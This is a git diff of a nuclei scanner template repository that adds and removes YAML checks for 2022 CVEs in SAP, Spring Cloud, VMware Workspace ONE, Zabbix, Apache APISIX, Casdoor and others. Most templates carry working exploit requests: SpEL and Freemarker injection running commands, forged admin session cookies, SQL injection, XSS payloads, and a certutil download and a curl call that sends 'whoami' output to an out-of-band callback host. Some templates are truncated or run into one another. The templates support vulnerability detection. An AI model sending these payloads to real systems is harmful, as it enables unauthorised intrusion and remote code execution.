https://github.com/ARPSyndicate/cvemon + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-2187 + cwe-id: CWE-79 + epss-score: 0.00122 + epss-percentile: 0.46372 + cpe: cpe:2.3:a:contact_form_7_captcha_project:contact_form_7_captcha:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: contact_form_7_captcha_project + product: contact_form_7_captcha + framework: wordpress + tags: cve,cve2022,wpscan,wordpress,xss,wp-plugin,wp,contact_form_7_captcha_project + +http: + - method: GET + path: + - '{{BaseURL}}/wp-admin/options-general.php?page=cf7sr_edit&">' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + - "Contact Form 7" + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 +# digest: 490a004630440220135e8e57aec52c36062249a9f60be0fd5bb87f786de39d6a8fbfe9a3c76dc61402205d74f1cbbc26e6b54ae5d6133836104c105071da796608ae749dddbe1863f8d0:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-22536.yaml b/nuclei-templates/CVE-2022/cve-2022-22536.yaml deleted file mode 100644 index 74c587f66e..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-22536.yaml +++ /dev/null @@ -1,61 +0,0 @@ -id: CVE-2022-22536 - -info: - name: SAP Memory Pipes (MPI) Desynchronization - author: pdteam - severity: critical - description: SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 and SAP Web Dispatcher are vulnerable to request smuggling and request concatenation attacks. An unauthenticated attacker can prepend a victim's request with arbitrary data. This way, the attacker can execute functions impersonating the victim or poison intermediary web caches. A successful attack could result in complete compromise of Confidentiality, Integrity and Availability of the system. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2022-22536 - - https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+February+2022 - - https://github.com/Onapsis/onapsis_icmad_scanner - - https://blogs.sap.com/2022/02/11/remediation-of-cve-2022-22536-request-smuggling-and-request-concatenation-in-sap-netweaver-sap-content-server-and-sap-web-dispatcher/ - tags: cve,cve2022,sap,smuggling,netweaver,web-dispatcher,memory-pipes - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10.00 - cve-id: CVE-2022-22536 - cwe-id: CWE-444 - -requests: - - raw: - - |+ - GET {{sap_path}} HTTP/1.1 - Host: {{Hostname}} - Content-Length: 82646 - Connection: keep-alive - - {{repeat("A", 82642)}} - - GET / HTTP/1.1 - Host: {{Hostname}} - - payloads: - sap_path: # based on https://github.com/Onapsis/onapsis_icmad_scanner - - /sap/admin/public/default.html - - /sap/public/bc/ur/Login/assets/corbu/sap_logo.png - - unsafe: true - read-all: true - stop-at-first-match: true - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: dsl - dsl: - - "contains(tolower(body), 'administration')" # confirms 1st path - - "contains(tolower(all_headers), 'content-type: image/png')" # confirms 2nd path - condition: or - - - type: word - part: body - words: - - "HTTP/1.0 400 Bad Request" # error in concatenated response - - "HTTP/1.0 500 Internal Server Error" - - "HTTP/1.0 500 Dispatching Error" - condition: or - -# Enhanced by mp on 2022/03/08 diff --git a/nuclei-templates/CVE-2022/cve-2022-2290.yaml b/nuclei-templates/CVE-2022/cve-2022-2290.yaml new file mode 100644 index 0000000000..dff0f8b418 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-2290.yaml @@ -0,0 +1,60 @@ +id: CVE-2022-2290 + +info: + name: Trilium <0.52.4 - Cross-Site Scripting + author: dbrwsky + severity: medium + description: Trilium prior to 0.52.4, 0.53.1-beta contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Trilium instance. + remediation: | + Upgrade Trilium to version 0.52.4 or later, which includes proper input sanitization to mitigate the XSS vulnerability. + reference: + - https://huntr.dev/bounties/367c5c8d-ad6f-46be-8503-06648ecf09cf/ + - https://github.com/zadam/trilium + - https://github.com/zadam/trilium/commit/3faae63b849a1fabc31b823bb7af3a84d32256a7 + - https://nvd.nist.gov/vuln/detail/CVE-2022-2290 + - https://github.com/ARPSyndicate/cvemon + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-2290 + cwe-id: CWE-79 + epss-score: 0.001 + epss-percentile: 0.40139 + cpe: cpe:2.3:a:trilium_project:trilium:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 3 + vendor: trilium_project + product: trilium + shodan-query: title:"Trilium Notes" + tags: cve,cve2022,xss,trilium,huntr,trilium_project + +http: + - method: GET + path: + - '{{BaseURL}}/custom/%3Cimg%20src=x%20onerror=alert(document.domain)%3E' + - '{{BaseURL}}/share/api/notes/%3Cimg%20src=x%20onerror=alert(document.domain)%3E' + - '{{BaseURL}}/share/api/images/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/filename' + + stop-at-first-match: true + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "No handler matched for custom " + - "Note '' not found" + condition: or + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 404 +# digest: 4a0a004730450221009f17fcdc98badc0464257c420fab598e7343e41d66382b910b98fd7005d968a0022040758dbc4500b3ca9aaa3096213583ee7175eb34c798a02991e0af55731a6641:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-22947.yaml b/nuclei-templates/CVE-2022/cve-2022-22947.yaml deleted file mode 100644 index c02886515d..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-22947.yaml +++ /dev/null @@ -1,82 +0,0 @@ -id: CVE-2022-22947 - -info: - name: Spring Cloud Gateway Code Injection - author: pdteam - severity: critical - description: "Applications using Spring Cloud Gateway prior to 3.1.1+ and 3.0.7+ are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host." - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2022-22947 - - https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/ - - https://github.com/wdahlenburg/spring-gateway-demo - - https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published - - https://tanzu.vmware.com/security/cve-2022-22947 - tags: cve,cve2022,apache,spring,vmware,actuator,oast - classification: - cve-id: CVE-2022-22947 - -requests: - - raw: - - | - POST /actuator/gateway/routes/{{randstr}} HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - - { - "predicates": [ - { - "name": "Path", - "args": { - "_genkey_0": "/{{randstr}}/**" - } - } - ], - "filters": [ - { - "name": "RewritePath", - "args": { - "_genkey_0": "#{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")}", - "_genkey_1": "/${path}" - } - } - ], - "uri": "{{RootURL}}", - "order": 0 - } - - - | - POST /actuator/gateway/refresh HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - - { - "predicate": "Paths: [/{{randstr}}], match trailing slash: true", - "route_id": "{{randstr}}", - "filters": [ - "[[RewritePath #{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")} = /${path}], order = 1]" - ], - "uri": "{{RootURL}}", - "order": 0 - } - - - | - DELETE /actuator/gateway/routes/{{randstr}} HTTP/1.1 - Host: {{Hostname}} - - matchers-condition: and - matchers: - - type: status - status: - - 201 - - - type: word - part: header - words: - - "/routes/{{randstr}}" - - - type: word - part: interactsh_protocol - words: - - "dns" - -# Enhanced by mp on 2022/03/08 diff --git a/nuclei-templates/CVE-2022/cve-2022-22954.yaml b/nuclei-templates/CVE-2022/cve-2022-22954.yaml new file mode 100644 index 0000000000..65bc52e109 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-22954.yaml @@ -0,0 +1,32 @@ +id: CVE-2022-22954 + +info: + name: VMware Workspace ONE Access - Freemarker SSTI + author: sherlocksecurity + severity: critical + description: An unauthenticated attacker with network access could exploit this vulnerability by sending a specially crafted request to a vulnerable VMware Workspace ONE or Identity Manager. Successful exploitation could result in remote code execution by exploiting a server-side template injection flaw. + reference: + - https://www.tenable.com/blog/vmware-patches-multiple-vulnerabilities-in-workspace-one-vmsa-2022-0011 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 9.8 + cve-id: CVE-2022-22954 + cwe-id: CWE-22 + metadata: + shodan-query: http.favicon.hash:-1250474341 + tags: cve,cve2022,vmware,ssti,workspaceone + +requests: + - method: GET + path: + - "{{BaseURL}}/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29%7d" # Executes cat /etc/hosts + + matchers-condition: and + matchers: + - type: word + words: + - "Authorization context is not valid" + + - type: status + status: + - 400 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-22963.yaml b/nuclei-templates/CVE-2022/cve-2022-22963.yaml new file mode 100644 index 0000000000..f28360d6a7 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-22963.yaml @@ -0,0 +1,44 @@ +id: CVE-2022-22963 + +info: + name: CVE-2022-22963 - Spring Cloud RCE + author: rdnt + severity: critical + description: RCE on Spring cloud function SPEL + tags: cve,rce,spring,cve2022,injection + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-22963 + cwe-id: CWE-770 + +requests: + - method: POST + path: + - "{{RootURL}}/functionRouter" + - "{{RootURL}}/api/functionRouter" + - "{{RootURL}}/api/v1/functionRouter" + - "{{RootURL}}/../../../../../../functionRouter" + - "{{RootURL}}/../../../../../../;functionRouter" + - "{{RootURL}}/spring/functionRouter" + - "{{RootURL}}/admin/functionRouter" + - "{{RootURL}}/../../../../../../../../functionRouter" + - "{{RootURL}}../../../../../../../../api/functionRouter" + - "{{RootURL}}../../../../../../../../api/v1/functionRouter" + - "{{RootURL}}%2f%2e%2e%2f%2e%2e%2ffunctionRouter" + - "{{RootURL}}%2fspring%2ffunctionRouter" + - "{{RootURL}}%2fadmin%2functionRouter" + headers: + spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("") + Content-Type: application/x-www-form-urlencoded + body: exp + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'functionRouter' + - type: status + status: + - 500 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-22972.yaml b/nuclei-templates/CVE-2022/cve-2022-22972.yaml new file mode 100644 index 0000000000..2ceac3d1c7 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-22972.yaml @@ -0,0 +1,113 @@ +id: CVE-2022-22972 + +info: + name: VMware Workspace ONE Access/Identity Manager/vRealize Automation - Authentication Bypass + author: For3stCo1d,princechaddha + severity: critical + description: | + VMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate. + impact: | + Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the affected system. + remediation: | + Apply the latest security patches or updates provided by VMware to fix the authentication bypass vulnerability (CVE-2022-22972). + reference: + - https://github.com/horizon3ai/CVE-2022-22972 + - https://www.horizon3.ai/vmware-authentication-bypass-vulnerability-cve-2022-22972-technical-deep-dive + - https://www.vmware.com/security/advisories/VMSA-2022-0014.html + - https://nvd.nist.gov/vuln/detail/CVE-2022-22972 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-22972 + cwe-id: CWE-287 + epss-score: 0.7146 + epss-percentile: 0.9778 + cpe: cpe:2.3:a:vmware:identity_manager:3.3.3:*:*:*:*:*:*:* + metadata: + max-request: 3 + vendor: vmware + product: identity_manager + fofa-query: app="vmware-Workspace-ONE-Access" || app="vmware-Identity-Manager" || app="vmware-vRealize" + tags: cve2022,cve,vmware,auth-bypass,oast + +http: + - raw: + - | + GET /vcac/ HTTP/1.1 + Host: {{Hostname}} + - | + GET /vcac/?original_uri={{RootURL}}%2Fvcac HTTP/1.1 + Host: {{Hostname}} + - | + POST /SAAS/auth/login/embeddedauthbroker/callback HTTP/1.1 + Host: {{interactsh-url}} + Content-type: application/x-www-form-urlencoded + + protected_state={{protected_state}}&userstore={{userstore}}&username=administrator&password=horizon&userstoreDisplay={{userstoreDisplay}}&horizonRelayState={{horizonRelayState}}&stickyConnectorId={{stickyConnectorId}}&action=Sign+in + + host-redirects: true + max-redirects: 3 + + matchers-condition: and + matchers: + - type: word + part: header + words: + - "HZN=" + + - type: word + part: interactsh_protocol + words: + - "http" + + - type: status + status: + - 302 + + extractors: + - type: regex + name: protected_state + group: 1 + regex: + - 'id="protected_state" value="([a-zA-Z0-9]+)"\/>' + internal: true + part: body + + - type: regex + name: horizonRelayState + group: 1 + regex: + - 'name="horizonRelayState" value="([a-z0-9-]+)"\/>' + internal: true + part: body + + - type: regex + name: userstore + group: 1 + regex: + - 'id="userstore" value="([a-z.]+)" \/>' + internal: true + part: body + + - type: regex + name: userstoreDisplay + group: 1 + regex: + - 'id="userstoreDisplay" readonly class="login-input transparent_class" value="(.*)"/>' + internal: true + part: body + + - type: regex + name: stickyConnectorId + group: 1 + regex: + - 'name="stickyConnectorId" value="(.*)"/>' + internal: true + part: body + + - type: kval + name: HZN-Cookie + kval: + - 'HZN' + part: header +# digest: 4a0a0047304502206403cd0d279ad3059877b01e431f357ec5373c9854c2ff5cbe853a8ac65ef39c022100d9069fe039d74cbcad2eb0f8ef4724af0436462068f8baecdb321328ac7a89af:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-23131.yaml b/nuclei-templates/CVE-2022/cve-2022-23131.yaml new file mode 100644 index 0000000000..53811d3852 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-23131.yaml @@ -0,0 +1,43 @@ +id: CVE-2022-23131 + +info: + name: Zabbix - SAML SSO Authentication Bypass + author: For3stCo1d + severity: critical + description: When SAML SSO authentication is enabled (non-default), session data can be modified by a malicious actor because a user login stored in the session was not verified. + remediation: Upgrade to 5.4.9rc2, 6.0.0beta1, 6.0 (plan) or higher. + reference: + - https://support.zabbix.com/browse/ZBX-20350 + - https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage + - https://nvd.nist.gov/vuln/detail/CVE-2022-23131 + - https://github.com/1mxml/CVE-2022-23131 + metadata: + shodan-query: http.favicon.hash:892542951 + fofa-query: app="ZABBIX-监控系统" && body="saml" + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N + cvss-score: 9.8 + cve-id: CVE-2022-23131 + tags: cve,cve2022,zabbix,auth-bypass,saml,sso + +requests: + - method: GET + path: + - "{{BaseURL}}/zabbix/index_sso.php" + - "{{BaseURL}}/index_sso.php" + + headers: + Cookie: "zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9" + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: status + status: + - 302 + + - type: dsl + dsl: + - "contains(tolower(all_headers), 'location: zabbix.php?action=dashboard.view')" + +# Enhanced by mp on 2022/03/08 diff --git a/nuclei-templates/CVE-2022/cve-2022-23134.yaml b/nuclei-templates/CVE-2022/cve-2022-23134.yaml new file mode 100644 index 0000000000..53aca6a04f --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-23134.yaml @@ -0,0 +1,41 @@ +id: CVE-2022-23134 + +info: + name: Zabbix Setup Configuration Authentication Bypass + author: bananabr + severity: medium + description: After the initial setup process, some steps of setup.php file are reachable not only by super-administrators but also by unauthenticated users. A malicious actor can pass step checks and potentially change the configuration of Zabbix Frontend. + reference: + - https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage + - https://nvd.nist.gov/vuln/detail/CVE-2022-23134 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N + cvss-score: 5.3 + cve-id: CVE-2022-23134 + tags: cve,cve2022,zabbix,auth-bypass + +requests: + - method: GET + path: + - "{{BaseURL}}/zabbix/setup.php" + - "{{BaseURL}}/setup.php" + + headers: + Cookie: "zbx_session=eyJzZXNzaW9uaWQiOiJJTlZBTElEIiwiY2hlY2tfZmllbGRzX3Jlc3VsdCI6dHJ1ZSwic3RlcCI6Niwic2VydmVyQ2hlY2tSZXN1bHQiOnRydWUsInNlcnZlckNoZWNrVGltZSI6MTY0NTEyMzcwNCwic2lnbiI6IklOVkFMSUQifQ%3D%3D" + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + words: + - "Database" + - "host" + - "port" + - "Zabbix" + condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/08 diff --git a/nuclei-templates/CVE-2022/cve-2022-23881.yaml b/nuclei-templates/CVE-2022/cve-2022-23881.yaml deleted file mode 100644 index 84b802eba2..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-23881.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2022-23881 - -info: - name: zzzphp v2.1.0 RCE - author: pikpikcu - severity: critical - description: ZZZCMS zzzphp v2.1.0 was discovered to contain a remote command execution (RCE) vulnerability via danger_key() at zzz_template.php. - reference: - - https://github.com/metaStor/Vuls/blob/main/zzzcms/zzzphp%20V2.1.0%20RCE/zzzphp%20V2.1.0%20RCE.md - - http://www.zzzcms.com - - https://nvd.nist.gov/vuln/detail/CVE-2022-23881 - tags: cve,cve2022,rce,zzzphp,zzzcms - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2022-23881 - cwe-id: CWE-77 - -requests: - - raw: - - | - GET /?location=search HTTP/1.1 - Host: {{Hostname}} - Cookies: keys={if:=`certutil -urlcache -split -f https://{{interactsh-url}}/poc`}{end if} - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol - words: - - "http" - - - type: status - status: - - 500 diff --git a/nuclei-templates/CVE-2022/cve-2022-23944.yaml b/nuclei-templates/CVE-2022/cve-2022-23944.yaml new file mode 100644 index 0000000000..8fce813a89 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-23944.yaml @@ -0,0 +1,36 @@ +id: CVE-2022-23944 + +info: + name: Apache ShenYu Admin Unauth Access + author: cckuakilong + severity: medium + description: "Apache ShenYu suffers from an unauthorized access vulnerability where a user can access /plugin api without authentication. This issue affected Apache ShenYu 2.4.0 and 2.4.1." + remediation: Upgrade to Apache ShenYu (incubating) 2.4.2 or apply the appropriate patch. + reference: + - https://github.com/apache/incubator-shenyu/pull/2462 + - https://nvd.nist.gov/vuln/detail/CVE-2022-23944 + - https://github.com/cckuailong/reapoc/blob/main/2022/CVE-2022-23944/vultarget/README.md + classification: + cve-id: CVE-2022-23944 + cwe-id: CWE-862 + tags: cve,cve2022,shenyu,unauth,apache + +requests: + - method: GET + path: + - "{{BaseURL}}/plugin" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"message":"query success"' + - '"code":200' + condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/08 diff --git a/nuclei-templates/CVE-2022/cve-2022-24112.yaml b/nuclei-templates/CVE-2022/cve-2022-24112.yaml deleted file mode 100644 index eb82122e33..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-24112.yaml +++ /dev/null @@ -1,80 +0,0 @@ -id: CVE-2022-24112 - -info: - name: Apache APISIX apisix/batch-requests Remote Code Execution - description: "A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. An Apache APISIX apisix/batch-requests plugin allows overwriting the X-REAL-IP header to RCE. An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed." - remediation: "Upgrade to 2.10.4 or 2.12.1. Or, explicitly configure the enabled plugins in `conf/config.yaml` and ensure `batch-requests` is disabled. (Or just comment out `batch-requests` in `conf/config-default.yaml`)." - author: Mr-xn - severity: critical - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2022-24112 - - https://www.openwall.com/lists/oss-security/2022/02/11/3 - - https://twitter.com/sirifu4k1/status/1496043663704858625 - - https://apisix.apache.org/zh/docs/apisix/plugins/batch-requests - metadata: - shodan-query: title:"Apache APISIX Dashboard" - fofa-query: title="Apache APISIX Dashboard" - product: https://apisix.apache.org - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2022-24112 - cwe-id: CWE-290 - tags: cve,cve2022,apache,rce,apisix,oast - -requests: - - raw: - - | - POST /apisix/batch-requests HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - Accept-Encoding: gzip, deflate - Accept-Language: zh-CN,zh;q=0.9 - - { - "headers":{ - "X-Real-IP":"127.0.0.1", - "Content-Type":"application/json" - }, - "timeout":1500, - "pipeline":[ - { - "method":"PUT", - "path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1", - "body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/{{randstr}}\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl https://{{interactsh-url}}/`whoami`'); return true end\"}" - } - ] - } - - | - GET /api/{{randstr}} HTTP/1.1 - Host: {{Hostname}} - Accept-Encoding: gzip, deflate - Accept-Language: zh-CN,zh;q=0.9 - - req-condition: true - matchers-condition: and - matchers: - - type: word - part: body_1 - words: - - '"reason":"OK"' - - '"status":200' - condition: and - - - type: status - status: - - 200 - - - type: word - part: interactsh_protocol - words: - - 'http' - - extractors: - - type: regex - part: interactsh_request - group: 1 - regex: - - 'GET \/([a-z-]+) HTTP' - -# Enhanced by mp on 2022/03/08 diff --git a/nuclei-templates/CVE-2022/cve-2022-24124.yaml b/nuclei-templates/CVE-2022/cve-2022-24124.yaml new file mode 100644 index 0000000000..f940ce92b6 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-24124.yaml @@ -0,0 +1,41 @@ +id: CVE-2022-24124 + +info: + name: Casdoor 1.13.0 - Unauthenticated SQL Injection + author: cckuailong + severity: high + description: Casdoor version 1.13.0 suffers from a remote unauthenticated SQL injection vulnerability via the query API in Casdoor before 1.13.1 related to the field and value parameters, as demonstrated by api/get-organizations. + reference: + - https://packetstormsecurity.com/files/166163/Casdoor-1.13.0-SQL-Injection.html + - https://www.exploit-db.com/exploits/50792 + - https://github.com/cckuailong/reapoc/tree/main/2022/CVE-2022-24124/vultarget + - https://nvd.nist.gov/vuln/detail/CVE-2022-24124 + metadata: + product: https://casdoor.org/ + shodan-query: http.title:"Casdoor" + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-24124 + cwe-id: CWE-89 + tags: cve,cve2022,casdoor,sqli,unauth + +requests: + - method: GET + path: + - "{{BaseURL}}/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),1)" + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "XPATH syntax error.*'" + - "casdoor" + condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/08 diff --git a/nuclei-templates/CVE-2022/cve-2022-24129.yaml b/nuclei-templates/CVE-2022/cve-2022-24129.yaml new file mode 100644 index 0000000000..ae129fe8d2 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-24129.yaml @@ -0,0 +1,49 @@ +id: CVE-2022-24129 + +info: + name: Shibboleth OIDC OP <3.0.4 - Server-Side Request Forgery + author: 0x_Akoko + severity: high + description: The Shibboleth Identity Provider OIDC OP plugin before 3.0.4 is vulnerable to server-side request forgery (SSRF) due to insufficient restriction of the request_uri parameter, which allows attackers to interact with arbitrary third-party HTTP services. + impact: | + An attacker can exploit this vulnerability to send crafted requests, potentially leading to unauthorized access to internal resources or information disclosure. + remediation: | + Upgrade to Shibboleth OIDC OP version 3.0.4 or later to mitigate the vulnerability. + reference: + - https://github.com/sbaresearch/advisories/tree/public/2022/SBA-ADV-20220127-01_Shibboleth_IdP_OIDC_OP_Plugin_SSRF + - https://shibboleth.atlassian.net/wiki/spaces/IDPPLUGINS/pages/1376878976/OIDC+OP + - http://shibboleth.net/community/advisories/ + - https://nvd.nist.gov/vuln/detail/CVE-2022-24129 + - http://shibboleth.net/community/advisories/secadv_20220131.txt + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N + cvss-score: 8.2 + cve-id: CVE-2022-24129 + cwe-id: CWE-918 + epss-score: 0.00647 + epss-percentile: 0.77074 + cpe: cpe:2.3:a:shibboleth:oidc_op:*:*:*:*:*:identity_provider:*:* + metadata: + max-request: 1 + vendor: shibboleth + product: oidc_op + framework: identity_provider + tags: cve,cve2022,ssrf,oidc,shibboleth,identity_provider + +http: + - method: GET + path: + - '{{BaseURL}}/idp/profile/oidc/authorize?client_id=demo_rp&request_uri=https://{{interactsh-url}}' + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" + + - type: word + part: interactsh_request + words: + - "ShibbolethIdp" +# digest: 4a0a004730450221008f7628cf3482df6bb5f6dc923c39a4fd651c4428bbb09c0f117f6b32b15940e402206af2dfa7231ae6a440e9440cc05d63f828a884006f109b865c5046f61b0b8cb6:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-24181.yaml b/nuclei-templates/CVE-2022/cve-2022-24181.yaml new file mode 100644 index 0000000000..b3b7ce9f12 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-24181.yaml @@ -0,0 +1,56 @@ +id: CVE-2022-24181 + +info: + name: PKP Open Journal Systems 2.4.8-3.3 - Cross-Site Scripting + author: lucasljm2001,ekrause + severity: medium + description: | + PKP Open Journal Systems 2.4.8 to 3.3 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary code via the X-Forwarded-Host Header. + impact: | + Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. + remediation: | + Upgrade to a patched version of PKP Open Journal Systems (OJS) or apply the necessary security patches provided by the vendor. + reference: + - https://www.exploit-db.com/exploits/50881 + - https://github.com/pkp/pkp-lib/issues/7649 + - https://youtu.be/v8-9evO2oVg + - https://nvd.nist.gov/vuln/detail/cve-2022-24181 + - https://github.com/comrade99/CVE-2022-24181 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-24181 + cwe-id: CWE-79 + epss-score: 0.0017 + epss-percentile: 0.53018 + cpe: cpe:2.3:a:public_knowledge_project:open_journal_systems:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: public_knowledge_project + product: open_journal_systems + tags: cve,cve2022,xss,oss,pkp-lib,edb,public_knowledge_project + +http: + - raw: + - | + GET /iupjournals/index.php/esj HTTP/2 + Host: {{Hostname}} + X-Forwarded-Host: foo">alert(document.domain)' - - '"Not authenticated"' - condition: and - - - type: word - part: header - words: - - text/html -# digest: 4b0a00483046022100dd79aa0474a89a2ac03e8147296d8958bd8863792570ee2d226ce4ef2bb5fe47022100f21bdc20c0df7169bf401f396d4d70048dddd98be918337c91d990bd543060b1:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-24990.yaml b/nuclei-templates/CVE-2022/cve-2022-24990.yaml new file mode 100644 index 0000000000..39916d1f52 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-24990.yaml @@ -0,0 +1,44 @@ +id: CVE-2022-24990 + +info: + name: TerraMaster TOS < 4.2.30 Server Information Disclosure + author: dwisiswant0 + severity: medium + description: TerraMaster NAS devices running TOS prior to version 4.2.30 are vulnerable to information disclosure. + reference: + - https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/ + metadata: + shodan-query: TerraMaster + tags: cve,cve2022,terramaster,exposure + classification: + cve-id: CVE-2022-24990 + +requests: + - method: GET + path: + - "{{BaseURL}}/module/api.php?mobile/webNasIPS" + headers: + User-Agent: "TNAS" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: header + words: + - "application/json" + - "TerraMaster" + condition: and + + - type: regex + part: body + regex: + - "webNasIPS successful" + - 